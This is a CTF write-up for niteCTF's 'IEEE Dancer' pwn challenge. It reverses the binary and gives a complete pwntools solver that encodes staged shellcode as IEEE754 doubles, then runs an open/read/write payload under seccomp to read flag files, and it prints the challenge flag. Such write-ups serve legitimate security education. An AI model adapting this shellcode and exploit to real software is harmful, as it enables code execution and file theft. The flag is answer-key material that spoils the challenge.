Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnMedium

Ieee Dancer

CTF writeup for Ieee Dancer from niteCTF

//IEEE Dancer

Challenge: IEEE Dancer

Category: PWN

Author: crabsnk

Connection: ncat --ssl dancer.chals.nitectf25.live 1337

Flag: nite{W4stem4n_dr41nss_aLLth3_fl04Ts_int0_ex3cut5bl3_sp4ce}


>TL;DR

The binary reads n IEEE754 doubles from you via scanf("%lf"), callocs a buffer, then makes that buffer RWX with mprotect and finally calls it. A seccomp filter only allows open/read/write/exit. We encode a tiny stage‑1 shellcode into non‑NaN doubles, let the program mprotect+call it, have it read() a larger stage‑2 ORW payload, and then print the flag.


>1. Initial Recon

Files Provided

  • chall – PIE, Full RELRO, Canary, NX, not stripped
  • Links against libseccomp.so.2 → syscall filtering

Protections

Arch:       amd64-64-little RELRO:      Full RELRO Stack:      Canary found NX:         NX enabled PIE:        PIE enabled

First Interaction

Running the binary:

enter the number of floats you want to enter!

If we give 0, it crashes with a segfault after printing:

draining in progress...

>2. Reversing the Binary

Main Flow (main)

  1. Disable buffering on stdio streams.
  2. Prompt for the number of floats (%d), enforce n ≤ 100.
  3. calloc(n * 8) → buffer.
  4. Loop n times: scanf("%lf", &buf[i]).
  5. Compute page alignment: buf & ~0xfff → page.
  6. mprotect(page, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC).
  7. Call enable_seccomp().
  8. Call the buffer: call rdx (where rdx points to calloc buffer).

Seccomp (enable_seccomp)

The function installs a whitelist filter allowing only:

  • read (0)
  • write (1)
  • open (2)
  • exit (60)
  • exit_group (231)

All other syscalls result in SIGSYS.

Vulnerability

  • The buffer becomes executable (RWX).
  • The program jumps into user‑controlled data (our doubles).
  • No stack canary or PIE issues matter because we get direct code execution.

>3. Exploit Strategy

Constraints

  • We can only send doubles (%lf) via scanf.
  • Doubles that are NaN/Inf (exponent all 1s) cause scanf to read 0.0 into the buffer, corrupting our shellcode.
  • After the doubles are read, seccomp is enabled; only ORW+exit syscalls are allowed.
  • We need to run arbitrary code despite the double‑encoding limitation.

Two‑Stage Payload

  1. Stage‑1 (tiny, fits in a few doubles):
  • Performs read(0, buf+0x100, 0x400) to pull in a larger raw payload.
  • jmp buf+0x100.
  • Must be encoded as non‑NaN doubles.
  1. Stage‑2 (raw bytes):
  • ORW shellcode: openreadwriteexit.
  • Tries common flag paths (flag, /flag, flag.txt, etc.).

Double Encoding

  • Use float.hex() to get a C99‑compatible hex‑float string.
  • scanf("%lf") parses it back to the exact IEEE754 bits.
  • Ensure every 8‑byte chunk of stage‑1 has exponent ≠ 0x7ff (not NaN/Inf).

>4. Local Exploitation

Solver Script (solve.py)

  • Stage‑1 generation: try up to 8 NOP prefixes to avoid NaN qwords.
  • Stage‑2 ORW: tries multiple flag paths until one opens successfully.
  • Argument handling: supports local and remote (SSL) modes.

Key Functions

python

def build_stage1(stage2_off=0x100, stage2_len=0x400):

    base = asm(f"""

        mov rbx, rdx

        xor edi, edi

        lea rsi, [rbx + {stage2_off}]

        mov edx, {stage2_len}

        xor eax, eax

        syscall

        jmp rsi

    """)

    # Pad to 8-byte alignment, avoid NaN/Inf qwords

    ...

def build_stage2_orw_try_paths(paths, n=0x200):

    # Generate shellcode that tries each path with open/read/write/exit

    ...

def send_payload(io, stage1, stage2):

    # Send number of doubles, then each double as hex-float string

    # Then send raw stage2 bytes

    ...

Local Test

bash

python3 solve.py /etc/hostname

Output:

NOIGEL

(Hostname printed cleanly, confirming code execution.)


>5. Remote Exploitation

Target

dancer.chals.nitectf25.live:1337 (SSL)

Command

bash

python3 solve.py REMOTE dancer.chals.nitectf25.live 1337

Result

nite{W4stem4n_dr41nss_aLLth3_fl04Ts_int0_ex3cut5bl3_sp4ce}

The exploit works exactly the same as local, just over SSL.


>6. Full Solver Code

python

#!/usr/bin/env python3

from pwn import *

import struct

import sys

context.update(arch='amd64', os='linux')

BIN_PATH = './chall'

def parse_args(argv: list[str]) -> tuple[str, str | None, int | None, list[str]]:

    # pwntools consumes known flags like REMOTE from sys.argv, so rely on args.REMOTE.

    # Typical usage:

    #   python3 solve.py REMOTE host port [paths...]

    # After pwntools processing, argv often becomes: [host, port, ...]

    if getattr(args, 'REMOTE', False):

        if len(argv) < 2:

            raise SystemExit('Usage: solve.py REMOTE <host> <port> [paths...]')

        host = argv[0]

        port = int(argv[1])

        paths = argv[2:]

        return 'remote', host, port, paths

    # Fallback if pwntools argument parsing is disabled.

    if len(argv) >= 1 and argv[0].strip().casefold() == 'remote':

        if len(argv) < 3:

            raise SystemExit('Usage: solve.py REMOTE <host> <port> [paths...]')

        host = argv[1]

        port = int(argv[2])

        paths = argv[3:]

        return 'remote', host, port, paths

    return 'local', None, None, argv

def connect(mode: str, host: str | None, port: int | None):

    if mode == 'remote':

        if host is None or port is None:

            raise ValueError('remote mode requires host/port')

        return remote(host, port, ssl=True)

    return process(BIN_PATH)

def qword_is_nan_or_inf(q: int) -> bool:

    # IEEE754 double: exponent bits 52..62 all ones => Inf/NaN

    exp = (q >> 52) & 0x7ff

    if exp != 0x7ff:

        return False

    return True

def qword_to_double_str(q: int) -> str:

    d = struct.unpack('<d', p64(q))[0]

    # Use exact C99 hex-float roundtrip representation

    return float.hex(d)

def build_stage1(stage2_off: int = 0x100, stage2_len: int = 0x400) -> tuple[bytes, int]:

    base = asm(

        f"""

        mov rbx, rdx

        xor edi, edi

        lea rsi, [rbx + {stage2_off}]

        mov edx, {stage2_len}

        xor eax, eax

        syscall

        jmp rsi

        """

    )

    # Try up to 8 different alignments (prefix NOPs) to avoid NaN/Inf qwords

    for nop_prefix in range(8):

        sc = b'\\x90' * nop_prefix + base

        sc = sc.ljust(((len(sc) + 7) // 8) * 8, b'\\x90')

        ok = True

        for i in range(0, len(sc), 8):

            q = u64(sc[i:i+8])

            if qword_is_nan_or_inf(q):

                ok = False

                break

        if ok:

            return sc, nop_prefix

    raise ValueError('Could not find NaN/Inf-free qword packing for stage1')

def build_stage2_dump_file(path: bytes = b'chall', n: int = 0x100) -> bytes:

    # ORW: open(path, O_RDONLY) -> read(fd, rsp, n) -> write(1, rsp, n) -> exit(0)

    if isinstance(path, (bytes, bytearray)):

        path = path.decode()

    sc = ''

    sc += shellcraft.amd64.linux.open(path, 0)

    sc += shellcraft.amd64.linux.read('rax', 'rsp', n)

    sc += shellcraft.amd64.linux.write(1, 'rsp', n)

    sc += shellcraft.amd64.linux.exit(0)

    return asm(sc)

def build_stage2_orw_try_paths(paths: list[str], n: int = 0x200) -> bytes:

    # Try open() on multiple paths; first success is used.

    # Uses only syscalls allowed by seccomp: open(2), read(0), write(1), exit/exit_group.

    if not paths:

        raise ValueError('paths must be non-empty')

    sc = ''

    labels = [f'path_{i}' for i in range(len(paths))]

    sc += 'xor eax, eax\\n'

    sc += 'xor edi, edi\\n'

    sc += 'xor esi, esi\\n'

    sc += 'xor edx, edx\\n'

    sc += f'jmp {labels[0]}\\n'

    for i, p in enumerate(paths):

        next_label = labels[i + 1] if i + 1 < len(paths) else 'fail'

        sc += f'{labels[i]}:\\n'

        sc += shellcraft.amd64.linux.open(p, 0)

        sc += 'test eax, eax\\n'

        sc += f'js {next_label}\\n'

        sc += 'mov edi, eax\\n'  # fd

        sc += shellcraft.amd64.linux.read('rdi', 'rsp', n)

        sc += 'mov edx, eax\\n'  # bytes_read

        sc += shellcraft.amd64.linux.write(1, 'rsp', 'rdx')

        sc += shellcraft.amd64.linux.exit(0)

    sc += 'fail:\\n'

    sc += shellcraft.amd64.linux.write(1, 'rsp', 0)  # no-op, keeps syscall set minimal

    sc += shellcraft.amd64.linux.exit(1)

    return asm(sc)

def send_payload(io, stage1: bytes, stage2: bytes):

    n_qwords = len(stage1) // 8

    io.sendlineafter(b'enter', str(n_qwords).encode())

    # Program reads n_qwords doubles into the buffer

    for i in range(n_qwords):

        q = u64(stage1[i*8:(i+1)*8])

        io.sendline(qword_to_double_str(q).encode())

    # After scanf loop, it mprotects & enables seccomp, then calls buffer.

    # Stage1 does a raw read(0, buf+off, len), so we can now send raw stage2 bytes.

    io.send(stage2)

def main():

    stage1, nop_prefix = build_stage1(stage2_off=0x100, stage2_len=0x400)

    log.info(f'stage1_len={len(stage1)} nop_prefix={nop_prefix}')

    # Default local sanity check reads a world-readable file.

    # For remote, pass: flag /flag flag.txt

    mode, host, port, paths = parse_args(sys.argv[1:])

    io = connect(mode, host, port)

    if not paths:

        paths = ['flag', '/flag', 'flag.txt', '/app/flag', '/home/ctf/flag', '/etc/hostname']

    stage2 = build_stage2_orw_try_paths(paths, 0x200)

    log.info(f'stage2_len={len(stage2)} paths={paths}')

    send_payload(io, stage1, stage2)

    data = io.recvall(timeout=2)

    print(data)

if __name__ == '__main__':

    main()